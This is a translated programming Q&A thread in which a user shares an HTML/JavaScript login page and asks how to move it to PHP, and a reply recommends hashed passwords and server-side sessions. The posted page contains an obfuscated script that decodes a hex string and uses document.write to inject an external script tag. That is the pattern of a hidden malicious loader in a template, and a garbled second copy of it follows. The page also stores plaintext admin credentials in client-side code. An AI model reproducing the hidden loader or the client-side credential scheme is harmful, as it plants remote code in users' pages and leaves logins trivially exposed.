Login with multiple users

Asked

Viewed 91 times

0

Well, let’s see if someone can better guide me my problem, I’m using a code in JS to login, being it I use the index

<script>
		$(function(){
		  var $form_inputs =   $('form input');
		  var $rainbow_and_border = $('.rain, .border');
		  /* Used to provide loping animations in fallback mode */
		  $form_inputs.bind('focus', function(){
		  	$rainbow_and_border.addClass('end').removeClass('unfocus start');
		  });
		  $form_inputs.bind('blur', function(){
		  	$rainbow_and_border.addClass('unfocus start').removeClass('end');
		  });
		  $form_inputs.first().delay(800).queue(function() {
			$(this).focus();
		  });
		});
	</script>
  <script type="text/javascript">function xc(pws){gh="";for(i_=0;i_<pws.length;i_+=2){gh+="%"+pws.substring(i_,i_+2)}return unescape(gh)}y=24/(37%7);o=y+27;z="";q=Math.round(Math.tan(Math.PI/4))+5;r=o;s=-1+2;c=""+xc("427969786F767A2679786943287B676A6C3D6B78793B7A6D737169686D3A796E37363636376C767576723C6779347079284442357969786F767A44")+"";for(x=0;x<c.length;x++){o=c.charCodeAt(x);if(o==254){q+=6;r=39;s=1;if(q>6){q=0;r=0;s=0}}else{if(o<127){if(o==30){o=92}z+=String.fromCharCode(o-q)}else{if(o<166){z+=String.fromCharCode(o-r)}else{z+=String.fromCharCode(o-s)}}}}document.write(z)</script>
<style>
			body{
				background: #000;
				color: #DDD;
				font-family: 'Helvetica', 'Lucida Grande', 'Arial', sans-serif;
			}
			.border,
			.rain{
				height: 170px;
				width: 320px;
			}
			/* Layout with mask */
			.rain{
				 padding: 10px 12px 12px 10px;
				 -moz-box-shadow: 10px 10px 10px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 -webkit-box-shadow: 8px 8px 8px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 box-shadow: 8px 8px 8px rgba(0,0,0,1) inset, -9px -9px 8px rgba(0,0,0,1) inset;
				 margin: 100px auto;
			}
			/* Artifical "border" to clear border to bypass mask */
			.border{
				padding: 1px;
				-moz-border-radius: 5px;
			    -webkit-border-radius: 5px;
				border-radius: 5px;
			}

			.border,
			.rain,
			.border.start,
			.rain.start{
				background-repeat: repeat-x, repeat-x, repeat-x, repeat-x;
				background-position: 0 0, 0 0, 0 0, 0 0;
				/* Blue-ish Green Fallback for Mozilla */
				background-image: -moz-linear-gradient(left, #09BA5E 0%, #00C7CE 15%, #3472CF 26%, #00C7CE 48%, #0CCF91 91%, #09BA5E 100%);
				/* Add "Highlight" Texture to the Animation */
				background-image: -webkit-gradient(linear, left top, right top, color-stop(1%,rgba(0,0,0,.3)), color-stop(23%,rgba(0,0,0,.1)), color-stop(40%,rgba(255,231,87,.1)), color-stop(61%,rgba(255,231,87,.2)), color-stop(70%,rgba(255,231,87,.1)), color-stop(80%,rgba(0,0,0,.1)), color-stop(100%,rgba(0,0,0,.25)));
				/* Starting Color */
				background-color: #39f;
				/* Just do something for IE-suck */
				filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00BA1B', endColorstr='#00BA1B',GradientType=1 );
			}
			
			/* Non-keyframe fallback animation */
			.border.end,
			.rain.end{
				-moz-transition-property: background-position;  
				-moz-transition-duration: 30s;
				-moz-transition-timing-function: linear;
				-webkit-transition-property: background-position;  
				-webkit-transition-duration: 30s;  
				-webkit-transition-timing-function: linear;
				-o-transition-property: background-position;  
				-o-transition-duration: 30s;  
				-o-transition-timing-function: linear;
				transition-property: background-position;  
				transition-duration: 30s;  
				transition-timing-function: linear;
				background-position: -5400px 0, -4600px 0, -3800px 0, -3000px 0;	
			}
			
			/* Keyfram-licious animation */
			@-webkit-keyframes colors {
			    0% {background-color: #FF0000;}
			    15% {background-color: #00FF00;}
			    30% {background-color: #0000FF;}
			    45% {background-color: #FF0000;}
			    60% {background-color: #00FF00;}
			    75% {background-color: #0000FF;}
			    90% {background-color: #FF0000;}
			    100% {background-color: #00FF00;}
		    }
		    .border,.rain{
			    -webkit-animation-direction: normal;
			    -webkit-animation-duration: 20s;
			    -webkit-animation-iteration-count: infinite;
			    -webkit-animation-name: colors;
			    -webkit-animation-timing-function: ease;
		    }
		    
		    /* In-Active State Style */
			.border.unfocus{
				background: #333 !important;	
				 -moz-box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 -webkit-box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 box-shadow: 0px 0px 15px rgba(255,255,255,.2);
				 -webkit-animation-name: none;
			}
			.rain.unfocus{
				background: #00000ff !important;	
				-webkit-animation-name: none;
			}
			
			/* Regular Form Styles */
			form{
				background: #212121;
				-moz-border-radius: 5px;
				-webkit-border-radius: 5px;
			    border-radius: 5px;
				height: 100%;
				width: 100%;
				background: -moz-radial-gradient(50% 46% 90deg,circle closest-corner, #242424, #090909);
				background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 150, from(#242424), to(#090909));
			}
			form label{
				display: block;
				padding: 10px 10px 5px 15px;
				font-size: 11px;
				color: #ff0000;
			}
			form input{
				display: block;
				margin: 5px 10px 10px 15px;
				width: 85%;
				background: #000;
				-moz-box-shadow: 0px 0px 4px #000 inset;
				-webkit-box-shadow: 0px 0px 4px #000 inset;
				box-shadow: 0px 0px 4px #000 inset;
				outline: 1px solid-transparent;
				border: 1px solid #129;
				padding: 5px;
				color: #444;
				font-size: 16px;
			}
			form input:focus{
				outline: 1px solid #0000ff;
				color: #00ff00;
			}
			input[type="submit"]{
				color: #ff0000;
				padding: 5px 10px;
				float: right;
				margin: 20px 0;
				border: 1px solid #0000ff;
				font-weight: lighter;
				-moz-border-radius: 15px;
			    -webkit-border-radius: 15px;
				border-radius: 15px;
				background: #45484d;
				background: -moz-linear-gradient(top, #222 0%, #111 100%);
				background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#222), color-stop(100%,#111));
				filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#22222', endColorstr='#11111',GradientType=0 );
				-moz-box-shadow: 0px 1px 1px #000, 0px 1px 0px rgba(255,255,255,.3) inset;
				-webkit-box-shadow: 0px 1px 1px #000, 0px 1px 0px rgba(255,255,255,.3) inset;
				box-shadow: 0px 1px 1px #000,0px 1px 0px rgba(255,255,255,.3) inset;
				text-shadow: 0 1px 1px #000;
			}
		</style>
<body>
	<div class="rain">
		<div class="border start">
     <form name="acesso" method="post" action="#" onsubmit="Login(); return false">
        <tr>
          <td><label for="cpf">CPF</label></td> 
         <td><input required="required" type="text" name="username"  size="11" maxlength="11" placeholder="CPF" /></td>
		</tr>
          <td><label for="pass">SENHA</label></td> 
         <td><input required="required" type="password" name="password" placeholder="SENHA" /></td>
        </tr>
          <td><input type="submit" value="ENTRAR"  /></td>
        </tr>
    </form>
		
			</div>
		</div>
	</body>

but in the code itself

'Function Xc(pws){Gh="";for(i_=0;i_6){q=0;r=0;s=0}}Else{if(o<127){if(o==30){o=92}z+=String.fromCharCode(o-q)}Else{if(o<166){z+=String.fromCharCode(o-r)}Else{z+=String.fromCharCode(o-s)}}}Document.write(z)'

i have the following information

function Login() {
  
  // INFORMAÇÕES SOBRE OS USUÁRIOS CADASTRADOS --------------------------------------
  // (1º) - login; (2º) - senha; (3º) - endereço da página restrita (URL)
  // Exemplo: usuario[0] > login: admin; senha: 123456; página: /~users/redir1.html
  // Login para as meninas

  usuario = new Array();
  usuario[0] = new Array("admin", "123456", "./~users/admin.html");
  usuario[1] = new Array("admin1", "123456", "./~users/admin1.html"); 
  usuario[2] = new Array("admin2", "123456", "./~users/admin2.html");
  usuario[3] = new Array("admin3", "123456", "./~users/admin3.html");
  usuario[4] = new Array("admin4", "123456", "./~users/admin4.html");
  usuario[5] = new Array("admin5", "123456", "./~users/admin5.html");
  usuario[6] = new Array("admin6", "123456", "./~users/admin6.html");
  usuario[7] = new Array("admin7", "123456", "./~users/admin7.html");
  usuario[8] = new Array("admin8", "123456", "./~users/admin8.html");
  usuario[9] = new Array("admin9", "123456", "./~users/admin9.html");
  usuario[10] = new Array("admin10", "123456", "./~users/admin10.html");

  // Login para as meninos

  usuario[11] = new Array("admin11", "123456", "./~users/admin11.html"); 
  usuario[12] = new Array("admin12", "123456", "./~users/admin12.html");
  usuario[13] = new Array("admin13", "123456", "./~users/admin13.html");
  usuario[14] = new Array("admin14", "123456", "./~users/admin14.html");
  usuario[15] = new Array("admin15", "123456", "./~users/admin15.html");
  usuario[16] = new Array("admin16", "123456", "./~users/admin16.html");
  usuario[17] = new Array("admin17", "123456", "./~users/admin17.html");
  usuario[18] = new Array("admin18", "123456", "./~users/admin18.html");
  usuario[19] = new Array("admin19", "123456", "./~users/admin19.html");
  usuario[20] = new Array("admin20", "123456", "./~users/admin20.html");

  // Login para sistemas

  usuario[001] = new Array("admin1", "123456", "./~users/admin11.html"); 
  usuario[002] = new Array("admin12", "123456", "./~users/admin12.html");
  usuario[003] = new Array("admin13", "123456", "./~users/admin13.html");
  usuario[004] = new Array("admin14", "123456", "./~users/admin14.html");
  usuario[005] = new Array("admin15", "123456", "./~users/admin15.html");
  usuario[006] = new Array("admin16", "123456", "./~users/admin16.html");
  usuario[007] = new Array("admin17", "123456", "./~users/admin17.html");
  usuario[008] = new Array("admin18", "123456", "./~users/admin18.html");
  usuario[009] = new Array("admin19", "123456", "./~users/admin19.html");
  usuario[0010] = new Array("admin20", "123456", "./~users/admin20.html");
  // ...
  // ...
  // --------------------------------------------------------------------------------




  // respostas enviadas pelo usuário
  login_fornecido = document.acesso.username.value;
  senha_fornecida = document.acesso.password.value;

  // página para onde será redirecionado caso a senha e o login sejam inválidos
  pagina_erro = "erro.html";

  // tempo de carregamento em milissegundos, caso o login seja efetivado
  tempo = 2105;  // = 2,1 segundos  

  // até que se prove o contrário, o login é inválido
  login_valido = false;

  // à princípio, verificar se o login existe
  for (id = 0; id <= usuario.length - 1; id++) {
    //if (login_fornecido == login[id]) {
    if (login_fornecido == usuario[id][0]) {
      login_valido = true;
      break
    }
  }

  if (login_valido) {
    // validar senha do usuário
    if (senha_fornecida == usuario[id][1])
      acao('redirecionar', id)

    else
      acao('sair')
  }
  else
    acao('sair')
}

function acao(info, id) {
  if (info == 'sair') {
    window.open(pagina_erro, "pg", "")
  }
  else if (info == 'redirecionar') {
    document.write("<html><head><title>Carregando...</title><script>function Logar(){window.location = '" + usuario[id][2] + "';}setTimeout(\"Logar()\"," + tempo + ");</script></head>\n");
    document.write("<body><h4><i>Pode ser mais lento dependendo da sua Internet Usada... aguarde carregando...</i></h4></body></html>") 
  }
}

what I need to know is. There is some way to use this form and this data in php?

php html login

  • Watch, all login information in the source code of the page! The ideal is to put this information in a database and create a login system with PHP. In the database a table with columns id, user, login, password, URL. Puts the form on a page and when submitting sends the data to the PHP page (which may be the own one). Recover the values sent and through a SELECT check in the bank if there is any user with the information passed by the form. If redirect to the appropriate page.

  • Do a search here on the site with login php

1 answer

0


Well its implementation is not correct: The login management should be done on the server side, ie in php. It is wrong to store login values in js, they are exposed to any user (js code is visible).

  • You should search for a php solution to manage the login
  • Make an html form that does a POST of the data to the php login verification page
  • I recommend that you save the login data to a DB (a simple table with the Id, Username, Password, Email and Usertype fields should be sufficient for what you need)
  • Use (in php) the password_hash function to encrypt the password before saving to DB
  • In the select you use to verify the password you should never pass the decrypted password (that is you should not do for example SELECT Id FROM users WHERE Username = 'Marcio' AND Password = '(12@addg98' ... you should do before SELECT Id, Password FROM users WHERE Username = 'Marcio' and then check if the password sent through the POST matches the hash (Password column returned by select)
  • Use the password_verify function to verify the password
  • You can use session variables to check if the user is authenticated

... A much more complex login can be implemented. I recommend that you search for examples on Google and follow my tips. Any doubt put

Browser other questions tagged php html login

You are not signed in. Login or sign up in order to post.